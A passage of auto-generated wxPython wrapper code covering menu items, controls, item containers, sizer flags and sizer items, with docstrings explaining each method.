\"\"\"GetTextColour(self) -> Colour\"\"\"\n return _core_.MenuItem_GetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _core_.MenuItem_SetBackgroundColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _core_.MenuItem_GetBackgroundColour(*args, **kwargs)\n\n def SetBitmaps(*args, **kwargs):\n \"\"\"SetBitmaps(self, Bitmap bmpChecked, Bitmap bmpUnchecked=wxNullBitmap)\"\"\"\n return _core_.MenuItem_SetBitmaps(*args, **kwargs)\n\n def SetDisabledBitmap(*args, **kwargs):\n \"\"\"SetDisabledBitmap(self, Bitmap bmpDisabled)\"\"\"\n return _core_.MenuItem_SetDisabledBitmap(*args, **kwargs)\n\n def GetDisabledBitmap(*args, **kwargs):\n \"\"\"GetDisabledBitmap(self) -> Bitmap\"\"\"\n return _core_.MenuItem_GetDisabledBitmap(*args, **kwargs)\n\n def SetMarginWidth(*args, **kwargs):\n \"\"\"SetMarginWidth(self, int nWidth)\"\"\"\n return _core_.MenuItem_SetMarginWidth(*args, **kwargs)\n\n def GetMarginWidth(*args, **kwargs):\n \"\"\"GetMarginWidth(self) -> int\"\"\"\n return _core_.MenuItem_GetMarginWidth(*args, **kwargs)\n\n def GetDefaultMarginWidth(*args, **kwargs):\n \"\"\"GetDefaultMarginWidth() -> int\"\"\"\n return _core_.MenuItem_GetDefaultMarginWidth(*args, **kwargs)\n\n GetDefaultMarginWidth = staticmethod(GetDefaultMarginWidth)\n def IsOwnerDrawn(*args, **kwargs):\n \"\"\"IsOwnerDrawn(self) -> bool\"\"\"\n return _core_.MenuItem_IsOwnerDrawn(*args, **kwargs)\n\n def SetOwnerDrawn(*args, **kwargs):\n \"\"\"SetOwnerDrawn(self, bool ownerDrawn=True)\"\"\"\n return _core_.MenuItem_SetOwnerDrawn(*args, **kwargs)\n\n def ResetOwnerDrawn(*args, **kwargs):\n \"\"\"ResetOwnerDrawn(self)\"\"\"\n return _core_.MenuItem_ResetOwnerDrawn(*args, **kwargs)\n\n def GetItemLabel(*args, **kwargs):\n \"\"\"GetItemLabel(self) -> String\"\"\"\n return _core_.MenuItem_GetItemLabel(*args, **kwargs)\n\n def SetItemLabel(*args, **kwargs):\n \"\"\"SetItemLabel(self, String str)\"\"\"\n return _core_.MenuItem_SetItemLabel(*args, **kwargs)\n\n def GetItemLabelText(*args, **kwargs):\n \"\"\"GetItemLabelText(self) -> String\"\"\"\n return _core_.MenuItem_GetItemLabelText(*args, **kwargs)\n\n def GetLabelText(*args, **kwargs):\n \"\"\"GetLabelText(String label) -> String\"\"\"\n return _core_.MenuItem_GetLabelText(*args, **kwargs)\n\n GetLabelText = staticmethod(GetLabelText)\n Accel = property(GetAccel,SetAccel,doc=\"See `GetAccel` and `SetAccel`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n Bitmap = property(GetBitmap,SetBitmap,doc=\"See `GetBitmap` and `SetBitmap`\") \n DisabledBitmap = property(GetDisabledBitmap,SetDisabledBitmap,doc=\"See `GetDisabledBitmap` and `SetDisabledBitmap`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n Help = property(GetHelp,SetHelp,doc=\"See `GetHelp` and `SetHelp`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n Kind = property(GetKind,SetKind,doc=\"See `GetKind` and `SetKind`\") \n Label = property(GetLabel,doc=\"See `GetLabel`\") \n MarginWidth = property(GetMarginWidth,SetMarginWidth,doc=\"See `GetMarginWidth` and `SetMarginWidth`\") \n Menu = property(GetMenu,SetMenu,doc=\"See `GetMenu` and `SetMenu`\") \n SubMenu = property(GetSubMenu,SetSubMenu,doc=\"See `GetSubMenu` and `SetSubMenu`\") \n Text = property(GetText,SetText,doc=\"See `GetText` and `SetText`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n ItemLabel = property(GetItemLabel) \n_core_.MenuItem_swigregister(MenuItem)\n\ndef MenuItem_GetLabelFromText(*args, **kwargs):\n \"\"\"MenuItem_GetLabelFromText(String text) -> String\"\"\"\n return _core_.MenuItem_GetLabelFromText(*args, **kwargs)\n\ndef MenuItem_GetDefaultMarginWidth(*args):\n \"\"\"MenuItem_GetDefaultMarginWidth() -> int\"\"\"\n return _core_.MenuItem_GetDefaultMarginWidth(*args)\n\ndef MenuItem_GetLabelText(*args, **kwargs):\n \"\"\"MenuItem_GetLabelText(String label) -> String\"\"\"\n return _core_.MenuItem_GetLabelText(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass Control(Window):\n \"\"\"\n This is the base class for a control or 'widget'.\n\n A control is generally a small window which processes user input\n and/or displays one or more item of data.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, Validator validator=DefaultValidator, \n String name=ControlNameStr) -> Control\n\n Create a Control. Normally you should only call this from a subclass'\n __init__ as a plain old wx.Control is not very useful.\n \"\"\"\n _core_.Control_swiginit(self,_core_.new_Control(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, Validator validator=DefaultValidator, \n String name=ControlNameStr) -> bool\n\n Do the 2nd phase and create the GUI control.\n \"\"\"\n return _core_.Control_Create(*args, **kwargs)\n\n def GetAlignment(*args, **kwargs):\n \"\"\"\n GetAlignment(self) -> int\n\n Get the control alignment (left/right/centre, top/bottom/centre)\n \"\"\"\n return _core_.Control_GetAlignment(*args, **kwargs)\n\n def GetLabelText(*args, **kwargs):\n \"\"\"\n GetLabelText(self) -> String\n\n Get just the text of the label, without mnemonic characters ('&')\n \"\"\"\n return _core_.Control_GetLabelText(*args, **kwargs)\n\n def Command(*args, **kwargs):\n \"\"\"\n Command(self, CommandEvent event)\n\n Simulates the effect of the user issuing a command to the item.\n\n :see: `wx.CommandEvent`\n\n \"\"\"\n return _core_.Control_Command(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _core_.Control_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Alignment = property(GetAlignment,doc=\"See `GetAlignment`\") \n LabelText = property(GetLabelText,doc=\"See `GetLabelText`\") \n_core_.Control_swigregister(Control)\nControlNameStr = cvar.ControlNameStr\n\ndef PreControl(*args, **kwargs):\n \"\"\"\n PreControl() -> Control\n\n Precreate a Control control for 2-phase creation\n \"\"\"\n val = _core_.new_PreControl(*args, **kwargs)\n return val\n\ndef Control_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Control_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _core_.Control_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass ItemContainer(object):\n \"\"\"\n The wx.ItemContainer class defines an interface which is implemented\n by all controls which have string subitems, each of which may be\n selected, such as `wx.ListBox`, `wx.CheckListBox`, `wx.Choice` as well\n as `wx.ComboBox` which implements an extended interface deriving from\n this one.\n\n It defines the methods for accessing the control's items and although\n each of the derived classes implements them differently, they still\n all conform to the same interface.\n\n The items in a wx.ItemContainer have (non empty) string labels and,\n optionally, client data associated with them.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Append(*args, **kwargs):\n \"\"\"\n Append(self, String item, PyObject clientData=None) -> int\n\n Adds the item to the control, associating the given data with the item\n if not None. The return value is the index of the newly added item\n which may be different from the last one if the control is sorted (e.g.\n has wx.LB_SORT or wx.CB_SORT style).\n \"\"\"\n return _core_.ItemContainer_Append(*args, **kwargs)\n\n def AppendItems(*args, **kwargs):\n \"\"\"\n AppendItems(self, List strings)\n\n Apend several items at once to the control. Notice that calling this\n method may be much faster than appending the items one by one if you\n need to add a lot of items.\n \"\"\"\n return _core_.ItemContainer_AppendItems(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"\n Insert(self, String item, int pos, PyObject clientData=None) -> int\n\n Insert an item into the control before the item at the ``pos`` index,\n optionally associating some data object with the item.\n \"\"\"\n return _core_.ItemContainer_Insert(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"\n Clear(self)\n\n Removes all items from the control.\n \"\"\"\n return _core_.ItemContainer_Clear(*args, **kwargs)\n\n def Delete(*args, **kwargs):\n \"\"\"\n Delete(self, int n)\n\n Deletes the item at the zero-based index 'n' from the control. Note\n that it is an error (signalled by a `wx.PyAssertionError` exception if\n enabled) to remove an item with the index negative or greater or equal\n than the number of items in the control.\n \"\"\"\n return _core_.ItemContainer_Delete(*args, **kwargs)\n\n def GetClientData(*args, **kwargs):\n \"\"\"\n GetClientData(self, int n) -> PyObject\n\n Returns the client data associated with the given item, (if any.)\n \"\"\"\n return _core_.ItemContainer_GetClientData(*args, **kwargs)\n\n def SetClientData(*args, **kwargs):\n \"\"\"\n SetClientData(self, int n, PyObject clientData)\n\n Associate the given client data with the item at position n.\n \"\"\"\n return _core_.ItemContainer_SetClientData(*args, **kwargs)\n\n def GetCount(*args, **kwargs):\n \"\"\"\n GetCount(self) -> int\n\n Returns the number of items in the control.\n \"\"\"\n return _core_.ItemContainer_GetCount(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"\n IsEmpty(self) -> bool\n\n Returns True if the control is empty or False if it has some items.\n \"\"\"\n return _core_.ItemContainer_IsEmpty(*args, **kwargs)\n\n def GetString(*args, **kwargs):\n \"\"\"\n GetString(self, int n) -> String\n\n Returns the label of the item with the given index.\n \"\"\"\n return _core_.ItemContainer_GetString(*args, **kwargs)\n\n def GetStrings(*args, **kwargs):\n \"\"\"GetStrings(self) -> wxArrayString\"\"\"\n return _core_.ItemContainer_GetStrings(*args, **kwargs)\n\n def SetString(*args, **kwargs):\n \"\"\"\n SetString(self, int n, String s)\n\n Sets the label for the given item.\n \"\"\"\n return _core_.ItemContainer_SetString(*args, **kwargs)\n\n def FindString(*args, **kwargs):\n \"\"\"\n FindString(self, String s) -> int\n\n Finds an item whose label matches the given string. Returns the\n zero-based position of the item, or ``wx.NOT_FOUND`` if the string was not\n found.\n \"\"\"\n return _core_.ItemContainer_FindString(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"\n SetSelection(self, int n)\n\n Sets the item at index 'n' to be the selected item.\n \"\"\"\n return _core_.ItemContainer_SetSelection(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection(self) -> int\n\n Returns the index of the selected item or ``wx.NOT_FOUND`` if no item\n is selected.\n \"\"\"\n return _core_.ItemContainer_GetSelection(*args, **kwargs)\n\n def SetStringSelection(*args, **kwargs):\n \"\"\"SetStringSelection(self, String s) -> bool\"\"\"\n return _core_.ItemContainer_SetStringSelection(*args, **kwargs)\n\n def GetStringSelection(*args, **kwargs):\n \"\"\"\n GetStringSelection(self) -> String\n\n Returns the label of the selected item or an empty string if no item\n is selected.\n \"\"\"\n return _core_.ItemContainer_GetStringSelection(*args, **kwargs)\n\n def Select(*args, **kwargs):\n \"\"\"\n Select(self, int n)\n\n This is the same as `SetSelection` and exists only because it is\n slightly more natural for controls which support multiple selection.\n \"\"\"\n return _core_.ItemContainer_Select(*args, **kwargs)\n\n def GetItems(self):\n \"\"\"Return a list of the strings in the control\"\"\"\n return [self.GetString(i) for i in xrange(self.GetCount())]\n \n def SetItems(self, items):\n \"\"\"Clear and set the strings in the control from a list\"\"\"\n self.Clear()\n self.AppendItems(items)\n\n Count = property(GetCount,doc=\"See `GetCount`\") \n Items = property(GetItems,SetItems,doc=\"See `GetItems` and `SetItems`\") \n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n StringSelection = property(GetStringSelection,SetStringSelection,doc=\"See `GetStringSelection` and `SetStringSelection`\") \n Strings = property(GetStrings,doc=\"See `GetStrings`\") \n_core_.ItemContainer_swigregister(ItemContainer)\n\n#---------------------------------------------------------------------------\n\nclass ControlWithItems(Control,ItemContainer):\n \"\"\"\n wx.ControlWithItems combines the ``wx.ItemContainer`` class with the\n wx.Control class, and is used for the base class of various controls\n that have items.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n_core_.ControlWithItems_swigregister(ControlWithItems)\n\n#---------------------------------------------------------------------------\n\nclass SizerFlags(object):\n \"\"\"\n Normally, when you add an item to a sizer via `wx.Sizer.Add`, you have\n to specify a lot of flags and parameters which can be unwieldy. This\n is where wx.SizerFlags comes in: it allows you to specify all\n parameters using the named methods instead. For example, instead of::\n\n sizer.Add(ctrl, 0, wx.EXPAND | wx.ALL, 10)\n\n you can now write::\n\n sizer.AddF(ctrl, wx.SizerFlags().Expand().Border(wx.ALL, 10))\n\n This is more readable and also allows you to create wx.SizerFlags\n objects which can be reused for several sizer items.::\n\n flagsExpand = wx.SizerFlags(1)\n flagsExpand.Expand().Border(wx.ALL, 10)\n sizer.AddF(ctrl1, flagsExpand)\n sizer.AddF(ctrl2, flagsExpand)\n\n Note that by specification, all methods of wx.SizerFlags return the\n wx.SizerFlags object itself allowing chaining multiple method calls\n like in the examples above.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int proportion=0) -> SizerFlags\n\n Constructs the flags object with the specified proportion.\n \"\"\"\n _core_.SizerFlags_swiginit(self,_core_.new_SizerFlags(*args, **kwargs))\n __swig_destroy__ = _core_.delete_SizerFlags\n __del__ = lambda self : None;\n def Proportion(*args, **kwargs):\n \"\"\"\n Proportion(self, int proportion) -> SizerFlags\n\n Sets the item's proportion value.\n \"\"\"\n return _core_.SizerFlags_Proportion(*args, **kwargs)\n\n def Align(*args, **kwargs):\n \"\"\"\n Align(self, int alignment) -> SizerFlags\n\n Sets the item's alignment\n \"\"\"\n return _core_.SizerFlags_Align(*args, **kwargs)\n\n def Expand(*args, **kwargs):\n \"\"\"\n Expand(self) -> SizerFlags\n\n Sets the wx.EXPAND flag, which will cause the item to be expanded to\n fill as much space as it is given by the sizer.\n \"\"\"\n return _core_.SizerFlags_Expand(*args, **kwargs)\n\n def Centre(*args, **kwargs):\n \"\"\"\n Centre(self) -> SizerFlags\n\n Same as `Center` for those with an alternate dialect of English.\n \"\"\"\n return _core_.SizerFlags_Centre(*args, **kwargs)\n\n def Center(*args, **kwargs):\n \"\"\"\n Center(self) -> SizerFlags\n\n Sets the centering alignment flags.\n \"\"\"\n return _core_.SizerFlags_Center(*args, **kwargs)\n\n def Left(*args, **kwargs):\n \"\"\"\n Left(self) -> SizerFlags\n\n Aligns the object to the left, a shortcut for calling\n Align(wx.ALIGN_LEFT)\n \"\"\"\n return _core_.SizerFlags_Left(*args, **kwargs)\n\n def Right(*args, **kwargs):\n \"\"\"\n Right(self) -> SizerFlags\n\n Aligns the object to the right, a shortcut for calling\n Align(wx.ALIGN_RIGHT)\n \"\"\"\n return _core_.SizerFlags_Right(*args, **kwargs)\n\n def Top(*args, **kwargs):\n \"\"\"\n Top(self) -> SizerFlags\n\n Aligns the object to the top of the available space, a shortcut for\n calling Align(wx.ALIGN_TOP)\n \"\"\"\n return _core_.SizerFlags_Top(*args, **kwargs)\n\n def Bottom(*args, **kwargs):\n \"\"\"\n Bottom(self) -> SizerFlags\n\n Aligns the object to the bottom of the available space, a shortcut for\n calling Align(wx.ALIGN_BOTTOM)\n \"\"\"\n return _core_.SizerFlags_Bottom(*args, **kwargs)\n\n def Shaped(*args, **kwargs):\n \"\"\"\n Shaped(self) -> SizerFlags\n\n Sets the wx.SHAPED flag.\n \"\"\"\n return _core_.SizerFlags_Shaped(*args, **kwargs)\n\n def FixedMinSize(*args, **kwargs):\n \"\"\"\n FixedMinSize(self) -> SizerFlags\n\n Sets the wx.FIXED_MINSIZE flag.\n \"\"\"\n return _core_.SizerFlags_FixedMinSize(*args, **kwargs)\n\n def ReserveSpaceEvenIfHidden(*args, **kwargs):\n \"\"\"\n ReserveSpaceEvenIfHidden(self) -> SizerFlags\n\n Makes the item ignore window's visibility status\n \"\"\"\n return _core_.SizerFlags_ReserveSpaceEvenIfHidden(*args, **kwargs)\n\n def Border(*args, **kwargs):\n \"\"\"\n Border(self, int direction=ALL, int borderInPixels=-1) -> SizerFlags\n\n Sets the border of the item in the direction(s) or sides given by the\n direction parameter. If the borderInPixels value is not given then\n the default border size (see `GetDefaultBorder`) will be used.\n \"\"\"\n return _core_.SizerFlags_Border(*args, **kwargs)\n\n def DoubleBorder(*args, **kwargs):\n \"\"\"\n DoubleBorder(self, int direction=ALL) -> SizerFlags\n\n Sets the border in the given direction to twice the default border\n size.\n \"\"\"\n return _core_.SizerFlags_DoubleBorder(*args, **kwargs)\n\n def TripleBorder(*args, **kwargs):\n \"\"\"\n TripleBorder(self, int direction=ALL) -> SizerFlags\n\n Sets the border in the given direction to three times the default\n border size.\n \"\"\"\n return _core_.SizerFlags_TripleBorder(*args, **kwargs)\n\n def HorzBorder(*args, **kwargs):\n \"\"\"\n HorzBorder(self) -> SizerFlags\n\n Sets the left and right borders to the default border size.\n \"\"\"\n return _core_.SizerFlags_HorzBorder(*args, **kwargs)\n\n def DoubleHorzBorder(*args, **kwargs):\n \"\"\"\n DoubleHorzBorder(self) -> SizerFlags\n\n Sets the left and right borders to twice the default border size.\n \"\"\"\n return _core_.SizerFlags_DoubleHorzBorder(*args, **kwargs)\n\n def GetDefaultBorder(*args, **kwargs):\n \"\"\"\n GetDefaultBorder() -> int\n\n Returns the default border size used by the other border methods\n \"\"\"\n return _core_.SizerFlags_GetDefaultBorder(*args, **kwargs)\n\n GetDefaultBorder = staticmethod(GetDefaultBorder)\n def GetProportion(*args, **kwargs):\n \"\"\"\n GetProportion(self) -> int\n\n Returns the proportion value to be used in the sizer item.\n \"\"\"\n return _core_.SizerFlags_GetProportion(*args, **kwargs)\n\n def GetFlags(*args, **kwargs):\n \"\"\"\n GetFlags(self) -> int\n\n Returns the flags value to be used in the sizer item.\n \"\"\"\n return _core_.SizerFlags_GetFlags(*args, **kwargs)\n\n def GetBorderInPixels(*args, **kwargs):\n \"\"\"\n GetBorderInPixels(self) -> int\n\n Returns the border value in pixels to be used in the sizer item.\n \"\"\"\n return _core_.SizerFlags_GetBorderInPixels(*args, **kwargs)\n\n_core_.SizerFlags_swigregister(SizerFlags)\n\ndef SizerFlags_GetDefaultBorder(*args):\n \"\"\"\n SizerFlags_GetDefaultBorder() -> int\n\n Returns the default border size used by the other border methods\n \"\"\"\n return _core_.SizerFlags_GetDefaultBorder(*args)\n\n#---------------------------------------------------------------------------\n\nclass SizerItemList_iterator(object):\n \"\"\"This class serves as an iterator for a wxSizerItemList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_SizerItemList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> SizerItem\"\"\"\n return _core_.SizerItemList_iterator_next(*args, **kwargs)\n\n_core_.SizerItemList_iterator_swigregister(SizerItemList_iterator)\n\nclass SizerItemList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_SizerItemList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _core_.SizerItemList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> SizerItem\"\"\"\n return _core_.SizerItemList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, SizerItem obj) -> bool\"\"\"\n return _core_.SizerItemList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> SizerItemList_iterator\"\"\"\n return _core_.SizerItemList___iter__(*args, **kwargs)\n\n def index(*args, **kwargs):\n \"\"\"index(self, SizerItem obj) -> int\"\"\"\n return _core_.SizerItemList_index(*args, **kwargs)\n\n def __repr__(self):\n return \"wxSizerItemList: \" + repr(list(self))\n\n_core_.SizerItemList_swigregister(SizerItemList)\n\nclass SizerItem(Object):\n \"\"\"\n The wx.SizerItem class is used to track the position, size and other\n attributes of each item managed by a `wx.Sizer`. It is not usually\n necessary to use this class because the sizer elements can also be\n identified by their positions or window or sizer references but\n sometimes it may be more convenient to use wx.SizerItem directly.\n Also, custom classes derived from `wx.PySizer` will probably need to\n use the collection of wx.SizerItems held by wx.Sizer when calculating\n layout.\n\n :see: `wx.Sizer`, `wx.GBSizerItem`\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> SizerItem\n\n Constructs an empty wx.SizerItem. Either a window, sizer or spacer\n size will need to be set before this item can be used in a Sizer.\n\n You will probably never need to create a wx.SizerItem directly as they\n are created automatically when the sizer's Add, Insert or Prepend\n methods are called.\n\n :see: `wx.SizerItemSpacer`, `wx.SizerItemWindow`, `wx.SizerItemSizer`\n \"\"\"\n _core_.SizerItem_swiginit(self,_core_.new_SizerItem(*args, **kwargs))\n __swig_destroy__ = _core_.delete_SizerItem\n __del__ = lambda self : None;\n def DeleteWindows(*args, **kwargs):\n \"\"\"\n DeleteWindows(self)\n\n Destroy the window or the windows in a subsizer, depending on the type\n of item.\n \"\"\"\n return _core_.SizerItem_DeleteWindows(*args, **kwargs)\n\n def DetachSizer(*args, **kwargs):\n \"\"\"\n DetachSizer(self)\n\n Enable deleting the SizerItem without destroying the contained sizer.\n \"\"\"\n return _core_.SizerItem_DetachSizer(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"\n GetSize(self) -> Size\n\n Get the current size of the item, as set in the last Layout.\n \"\"\"\n return _core_.SizerItem_GetSize(*args, **kwargs)\n\n def CalcMin(*args, **kwargs):\n \"\"\"\n CalcMin(self) -> Size\n\n Calculates the minimum desired size for the item, including any space\n needed by borders.\n \"\"\"\n return _core_.SizerItem_CalcMin(*args, **kwargs)\n\n def SetDimension(*args, **kwargs):\n \"\"\"\n SetDimension(self, Point pos, Size size)\n\n Set the position and size of the space allocated for this item by the\n sizer, and adjust the position and size of the item (window or\n subsizer) to be within that space taking alignment and borders into\n account.\n \"\"\"\n return _core_.SizerItem_SetDimension(*args, **kwargs)\n\n def GetMinSize(*args, **kwargs):\n \"\"\"\n GetMinSize(self) -> Size\n\n Get the minimum size needed for the item.\n \"\"\"\n return _core_.SizerItem_GetMinSize(*args, **kwargs)\n\n def SetMinSize(*args, **kwargs):\n \"\"\"\n SetMinSize(self, Size size)\n\n Set the min size needed for the item\n \"\"\"\n return _core_.SizerItem_SetMinSize(*args, **kwargs)\n\n def GetMinSizeWithBorder(*args, **kwargs):\n \"\"\"\n GetMinSizeWithBorder(self) -> Size\n\n Get the minimum size needed for the item with space for the borders\n added, if needed.\n \"\"\"\n return _core_.SizerItem_GetMinSizeWithBorder(*args, **kwargs)\n\n def SetInitSize(*args, **kwargs):\n \"\"\"SetInitSize(self, int x, int y)\"\"\"\n return _core_.SizerItem_SetInitSize(*args, **kwargs)\n\n def SetRatioWH(*args, **kwargs):\n \"\"\"\n SetRatioWH(self, int width, int height)\n\n Set the ratio item attribute.\n \"\"\"\n return _core_.SizerItem_SetRatioWH(*args, **kwargs)\n\n def SetRatioSize(*args, **kwargs):\n \"\"\"\n SetRatioSize(self, Size size)\n\n Set the ratio item attribute.\n \"\"\"\n return _core_.SizerItem_SetRatioSize(*args, **kwargs)\n\n def SetRatio(*args, **kwargs):\n \"\"\"\n SetRatio(self, float ratio)\n\n Set the ratio item attribute.\n \"\"\"\n return _core_.SizerItem_SetRatio(*args, **kwargs)\n\n def GetRatio(*args, **kwargs):\n \"\"\"\n GetRatio(self) -> float\n\n Set the ratio item attribute.\n \"\"\"\n return _core_.SizerItem_GetRatio(*args, **kwargs)\n\n def GetRect(*args, **kwargs):\n \"\"\"\n GetRect(self) -> Rect\n\n Returns the rectangle that the sizer item should occupy\n \"\"\"\n return _core_.SizerItem_GetRect(*args, **kwargs)\n\n def IsWindow(*args, **kwargs):\n \"\"\"\n IsWindow(self) -> bool\n\n Is this sizer item a window?\n \"\"\"\n return _core_.SizerItem_IsWindow(*args, **kwargs)\n\n def IsSizer(*args, **kwargs):\n \"\"\"\n IsSizer(self) -> bool\n\n Is this sizer item a subsizer?\n \"\"\"\n return _core_.SizerItem_IsSizer(*args, **kwargs)\n\n def IsSpacer(*args, **kwargs):\n \"\"\"\n IsSpacer(self) -> bool\n\n Is this sizer item a spacer?\n \"\"\"\n return _core_.SizerItem_IsSpacer(*args, **kwargs)\n\n def SetProportion(*args, **kwargs):\n \"\"\"\n SetProportion(self, int proportion)\n\n Set the proportion value for this item.\n \"\"\"\n return _core_.SizerItem_SetProportion(*args, **kwargs)\n\n def GetProportion(*args, **kwargs):\n \"\"\"\n GetProportion(self) -> int\n\n Get the proportion value for this item.\n \"\"\"\n return _core_.SizerItem_GetProportion(*args, **kwargs)\n\n SetOption = wx._deprecated(SetProportion, \"Please use `SetProportion` instead.\") \n GetOption = wx._deprecated(GetProportion, \"Please use `GetProportion` instead.\") \n def SetFlag(*args, **kwargs):\n \"\"\"\n SetFlag(self, int flag)\n\n Set the flag value for this item.\n \"\"\"\n return _core_.SizerItem_SetFlag(*args, **kwargs)\n\n def GetFlag(*args, **kwargs):\n \"\"\"\n GetFlag(self) -> int\n\n Get the flag value for this item.\n \"\"\"\n return _core_.SizerItem_GetFlag(*args, **kwargs)\n\n def SetBorder(*args, **kwargs):\n \"\"\"\n SetBorder(self, int border)\n\n Set the border value for this item.\n \"\"\"\n return _core_.SizerItem_SetBorder(*args, **kwargs)\n\n def GetBorder(*args, **kwargs):\n \"\"\"\n GetBorder(self) -> int\n\n Get the border value for this item.\n \"\"\"\n return _core_.SizerItem_GetBorder(*args, **kwargs)\n\n def GetWindow(*args, **kwargs):\n \"\"\"\n GetWindow(self) -> Window\n\n Get the window (if any) that is managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_GetWindow(*args, **kwargs)\n\n def SetWindow(*args, **kwargs):\n \"\"\"\n SetWindow(self, Window window)\n\n Set the window to be managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_SetWindow(*args, **kwargs)\n\n def GetSizer(*args, **kwargs):\n \"\"\"\n GetSizer(self) -> Sizer\n\n Get the subsizer (if any) that is managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_GetSizer(*args, **kwargs)\n\n def SetSizer(*args, **kwargs):\n \"\"\"\n SetSizer(self, Sizer sizer)\n\n Set the subsizer to be managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_SetSizer(*args, **kwargs)\n\n def GetSpacer(*args, **kwargs):\n \"\"\"\n GetSpacer(self) -> Size\n\n Get the size of the spacer managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_GetSpacer(*args, **kwargs)\n\n def SetSpacer(*args, **kwargs):\n \"\"\"\n SetSpacer(self, Size size)\n\n Set the size of the spacer to be managed by this sizer item.\n \"\"\"\n return _core_.SizerItem_SetSpacer(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"\n Show(self, bool show)\n\n Set the show item attribute, which sizers use to determine if the item\n is to be made part of the layout or not. If the item is tracking a\n window then it is shown or hidden as needed.\n \"\"\"\n return _core_.SizerItem_Show(*args, **kwargs)\n\n def IsShown(*args, **kwargs):\n \"\"\"\n IsShown(self) -> bool\n\n Is the item to be shown in the layout?\n \"\"\"\n return _core_.SizerItem_IsShown(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the current position of the item, as set in the last Layout.\n \"\"\"\n return _core_.SizerItem_GetPosition(*args, **kwargs)\n\n def GetUserData(*args, **kwargs):\n \"\"\"\n 